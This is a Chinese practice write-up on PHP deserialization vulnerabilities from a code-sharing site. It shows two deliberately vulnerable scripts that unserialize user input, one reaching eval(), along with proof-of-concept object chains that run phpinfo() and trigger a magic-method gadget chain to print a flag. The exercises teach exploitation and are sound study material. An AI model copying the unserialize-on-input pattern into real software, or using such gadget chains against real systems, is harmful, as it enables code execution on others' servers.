反序列化漏洞练习

2024-10-25 0 5,074

成因
程序暴露或间接暴露反序列化 API,导致用户可以操作传入数据,并且没有对用户输入的反序列化字符串进行检测.

题目1:打印出phpinfo()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class car{
    var $action;
    function __construct($action){
        $this->action = new run();
    }
    function __destruct()
    {
        $this->action->run();
    }
}
class run{
    function run(){
        echo "running...";
    }
}
class api{
    var $data;
    function run(){
        eval($this->data);
    }
}
unserialize($_GET['action']);
?>

思路:想要输出想要的信息,只有在api()中修改data的值,再调用run()函数。

切入点:在car中存在构造函数析构函数

解答:先定义car的对象a,此时调用构造函数a->action=new run()。成为run对象并不是我们所期望的,直接把a->action修改为api()
构造的POC代码如下:

1
2
3
4
$a=new car('run');
$a->action=new api();
$a->action->data='phpinfo();';
echo serialize($a);

结果如下
反序列化漏洞练习

进阶 题目2:此题要输出flag(顺序已调整)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
class start_gg{
    public $mod1;
    public $mod2;
    public function __destruct(){
        $this->mod1->test1();
    }
}
class Call{
    public $mod1;
    public $mod2;
    public function test1(){
        $this->mod1->test2();
    }
}
class funct{
    public $mod1;
    public $mod2;
    public function __call($test2, $arr)
    {
        $s1=$this->mod1;
        $s1();
    }   
}
  
class func{
    public $mod1;
    public $mod2;
    public function __invoke()
    {
     $this->mod2="字符串拼接".$this->mod1;  
    }
}
class string1{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag{
    public function get_flag(){
        echo "flag:"."4399";
    }
}
$a=$_GET['string'];
unserialize($a);
?>

下面是一些可以利用的函数的说明:

__toString
对象被当成字符串使用时会被调用
__invoke
用调用函数的方式调用一个对象时被调用
__call
执行不存在的函数时调用

不难看出,这里的函数利用环环相扣.
POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$flagObj=new GetFlag();
$stringtObj=new string1();
$stringtObj->str1=$flagObj;
$funcObj=new func();
$funcObj->mod1=$stringtObj;
$functObj=new funct();
$functObj->mod1=$funcObj;
$callObj=new Call();
$callObj->mod1=$functObj;
$startObj=new start_gg();
$startObj->mod1=$callObj;
echo serialize($startObj);

运行结果如下:
反序列化漏洞练习

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

注:在使用本系统时,使用方必须在国家相关法律法规范围内并经过国家相关部门的授权许可,禁止用于一切非法行为。使用用途仅限于测试、实验、研究为目的,禁止用于一切商业运营,本团队不承担使用者在使用过程中的任何违法行为负责。

83源码 WEB安全 反序列化漏洞练习 https://www.83ym.com/94.html

认准唯一TG:@ym830

常见问题
  • 站内所有资源,针对不同等级VIP会员可直接下载,特殊资源商品会注明是否免费,指会员所享有根据选择购买的会员选项所享有的特殊服务,具体以本站公布的服务内容为准。
查看详情
  • 按照我国的法律规定,运营网络棋牌首先需要成立一个注册正规备案的公司,然后申请网站备案、文网文、ICP等等,这些证件缺一不可。 一.注册公司 在当地工商进行注册,公司名称以“XX科技有限公司”为名,如:富裕棋牌经营范围填写“计算机软硬件、网络设备的设计开发与购销”。 二.域名及网站备案 在国内从事网站经营活动就必须经过相关部门的备案,因此棋牌运营商在购买了域名后,就要到当地网监局办理网站备案,或者请服务器提供商代为备案。 三.申请文网文 文网文全称为网络文化经营许可证,是从事经营性互联网文化活动所必需的资质。一般是需要到当地省一级(省、直辖市、自治区)的文化行政部门提出申请,并经由当地的文化行政部门合法批准。次资质要求申请公司注册资金必需达到1000万,并提供游戏版权证明文件。 四.申请ICP ICP又称为增值电信业务许可证,所有网络游戏运营商均需要办理ICP许可证,此证件要求公司注册资金1000万,需到当地市级通讯管理局办理。 五.申请文网游——游戏备案 根据《网络游戏管理暂行办法》(文化部第49号)的规定,国产网络游戏在上网运营之日起30日内应当按规定向国务院文化行政部门履行备案手续。 以上就是网络棋牌游戏正规运营所必需的资质证明。一般作为正规有实力的棋牌游戏开发公司,不光要具备所有的正规资质,而且会对投资者、代理商等合作伙伴给予相关指导和协助,与合作伙伴携手共赢!
查看详情

相关文章

猜你喜欢
官方客服团队

为您解决烦忧 - 24小时在线 专业服务